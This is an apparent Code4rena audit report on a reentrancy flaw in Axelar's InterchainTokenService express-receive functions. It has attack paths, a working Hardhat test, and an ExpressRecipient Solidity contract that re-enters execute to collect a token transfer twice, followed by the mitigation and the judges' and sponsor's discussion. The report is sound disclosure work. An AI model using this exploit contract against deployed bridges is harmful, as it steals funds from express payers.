`expressReceiveToken` can be abused using reentry

[code423n4]

Lines of code

https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/its/interchain-token-service/InterchainTokenService.sol#L467-L487

Vulnerability details

Description

A token transfer can be express delivered on behalf of another user, also when the call contains data to be executed:

https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/its/interchain-token-service/InterchainTokenService.sol#L467-L487

File: its/interchain-token-service/InterchainTokenService.sol

467:    function expressReceiveTokenWithData(
            // ... params
475:    ) external {
476:        if (gateway.isCommandExecuted(commandId)) revert AlreadyExecuted(commandId);
477:
478:        address caller = msg.sender;
479:        ITokenManager tokenManager = ITokenManager(getValidTokenManagerAddress(tokenId));
480:        IERC20 token = IERC20(tokenManager.tokenAddress());
481:
482:        SafeTokenTransferFrom.safeTransferFrom(token, caller, destinationAddress, amount);
483:
484:        _expressExecuteWithInterchainTokenToken(tokenId, destinationAddress, sourceChain, sourceAddress, data, amount);
485:
486:        _setExpressReceiveTokenWithData(tokenId, sourceChain, sourceAddress, destinationAddress, amount, data, commandId, caller);
487:    }

The issue here is that check effects interactions is not followed.

There are a two of attack paths here with varying assumptions and originating parties:

Attacker: Anyone, assuming there are third parties providing expressReceiveTokenWithData on demand with on-chain call

1. An attacker sends a large token transfer to a chain with a public mempool.

2. Once the attacker sees the call by Axelar to AxelarGateway::exectute in the mempool they front run this call with a call to the third party providing expressReceiveTokenWithData.

3. The third party (victim) transfers the tokens to the destinationAddress contract. Attacker is now +amount from this transfer.

4. expressExecuteWithInterchainToken on the destinationAddress contract does a call to AxelarGateway::exectute (which can be called by anyone) to submit the report and then a reentry call to InterchainTokenService::execute their commandId. This performs the second transfer from the TokenManager to the destinationAddress (since the _setExpressReceiveTokenWithData has not yet been called). Attacker contract is now +2x amount, having received both the express transfer and the original transfer.

5. _setExpressReceiveTokenWithData is set but this commandId has already been executed. The victims funds has been stolen.

AxelarGateway operator, assuming there are third parties providing expressReceiveTokenWithData off-chain.

The operator does the same large transfer as described above. The operator then holds the update to AxelarGateway::execute and instead sends these instructions to their malicious destinationContract. When the expressReceiveTokenWithData is called, this malicious contract will do the same pattern as described above. Call AxelarGateway::execute then InterchainTokenService::execute.

The same attacks could work for tokens with transfer callbacks (like ERC777) with just the expressReceiveToken call as well.

Impact

With a very large cross chain token transfer a malicious party can use this to steal the same amount from the express receive executor.

If this fails, since it relies on front running and some timing, the worst thing that happens for the attacker is that the transfer goes through and they've just lost the transfer fees.

Note to judge/sponsor

This makes some assumptions about how trusted an operator/reporter is and that there are possibilities to have expressReceiveTokens to be called essentially on demand ("ExpressReceiveAsAService"). If these aren't valid please regard this as a low just noting the failure to follow checks-effects-interactions in expressReceiveToken/WithData.

The existence of expressReceive implies though that there should be some kind of service providing this premium service for a fee.

Proof of Concept

Test in tokenService.js:

        it('attacker steals funds from express executor', async () => {
            const [token, tokenManager, tokenId] = await deployFunctions.lockUnlock(`Test Token Lock Unlock`, 'TT', 12, amount * 2);
            await token.transfer(tokenManager.address, amount);

            const expressPayer = (await ethers.getSigners())[5];
            await token.transfer(expressPayer.address, amount);
            await token.connect(expressPayer).approve(service.address, amount);

            const commandId = getRandomBytes32();
            const recipient = await deployContract(wallet, 'ExpressRecipient',
                [gateway.address,service.address,service.address.toLowerCase()]);

            const data = '0x'
            const payload = defaultAbiCoder.encode(
                ['uint256', 'bytes32', 'bytes', 'uint256', 'bytes', 'bytes'],
                [SELECTOR_SEND_TOKEN_WITH_DATA, tokenId, recipient.address, amount, service.address, data],
            );

            const params = defaultAbiCoder.encode(
                ['string', 'string', 'address', 'bytes32', 'bytes32', 'uint256'],
                [sourceChain, sourceAddress, service.address, keccak256(payload), getRandomBytes32(), 0],
            );
            await recipient.setData(params,commandId);

            // expressPayer express pays triggering the reentrancy
            await service.connect(expressPayer).expressReceiveTokenWithData(
                    tokenId,
                    sourceChain,
                    service.address,
                    recipient.address,
                    amount,
                    data,
                    commandId,
                );

            // recipient has gotten both the cross chain and express transfer
            expect(await token.balanceOf(recipient.address)).to.equal(amount*2);
        });

And its/test/ExpressRecipient.sol:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import { MockAxelarGateway } from './MockAxelarGateway.sol';
import { IInterchainTokenExpressExecutable } from '../interfaces/IInterchainTokenExpressExecutable.sol';
import { AxelarExecutable } from '../../gmp-sdk/executable/AxelarExecutable.sol';
import { AddressBytesUtils } from '../libraries/AddressBytesUtils.sol';

contract ExpressRecipient is IInterchainTokenExpressExecutable{
    using AddressBytesUtils for address;

    bytes private params;
    MockAxelarGateway private gateway;
    AxelarExecutable private interchainTokenService;
    bytes32 private commandId;
    string private sourceAddress;

    constructor(MockAxelarGateway _gateway_, AxelarExecutable _its, string memory _sourceAddress) {
        gateway = _gateway_;
        interchainTokenService = _its;
        sourceAddress = _sourceAddress;
    }

    function setData(bytes memory _params, bytes32 _commandId) public {
        params = _params;
        commandId = _commandId;
    }

    function expressExecuteWithInterchainToken(
        string calldata sourceChain,
        bytes memory sadd,
        bytes calldata data,
        bytes32 tokenId,
        uint256 amount
    ) public {
        // this uses the mock call from tests but a real reporter would
        // have all data needed to make this call the proper way
        gateway.approveContractCall(params, commandId);

        bytes memory payload = abi.encode(uint256(2),tokenId,address(this).toBytes(),amount,sadd,data);

        // do the reentrancy and execute the transfer
        interchainTokenService.execute(commandId, sourceChain, sourceAddress, payload);
    }

    function executeWithInterchainToken(string calldata , bytes calldata , bytes calldata , bytes32 , uint256) public {}
}

Tools Used

Manual audit

Recommended Mitigation Steps

Consider doing _setExpressReceiveTokenWithData before external calls.

Assessed type

Reentrancy

[0xSorryNotSorry]

The submission is a bit difficult to follow. Needs judge perusal prior relaying to the sponsors.

[c4-pre-sort]

0xSorryNotSorry marked the issue as low quality report

[berndartmueller]

Besides being very difficult to follow and understand, there are many assumptions on trust assumption violations.

Kindly invite the sponsor's thoughts on this. @deanamiel

[c4-sponsor]

deanamiel (sponsor) confirmed

[deanamiel]

This vulnerability has been addressed. See PR here

[c4-judge]

berndartmueller marked the issue as primary issue

[c4-judge]

berndartmueller marked the issue as selected for report

[berndartmueller]

After a more thorough review, it is evident that the InterchainTokenService.expressReceiveTokenWithData, and, under certain conditions such as the use of ERC-777 tokens, InterchainTokenService.expressReceiveToken functions are vulnerable to reentrancy due to violating the CEI-pattern.

Consequently, funds can be stolen by an attacker from actors who attempt to fulfill token transfers ahead of time via the express mechanism. Thus, considering this submission as a valid high-severity finding.

Hats off to the wardens who spotted this vulnerability! 🏆

[liveactionllama]

Per discussion with the judge (@berndartmueller), removing the low quality label on their behalf.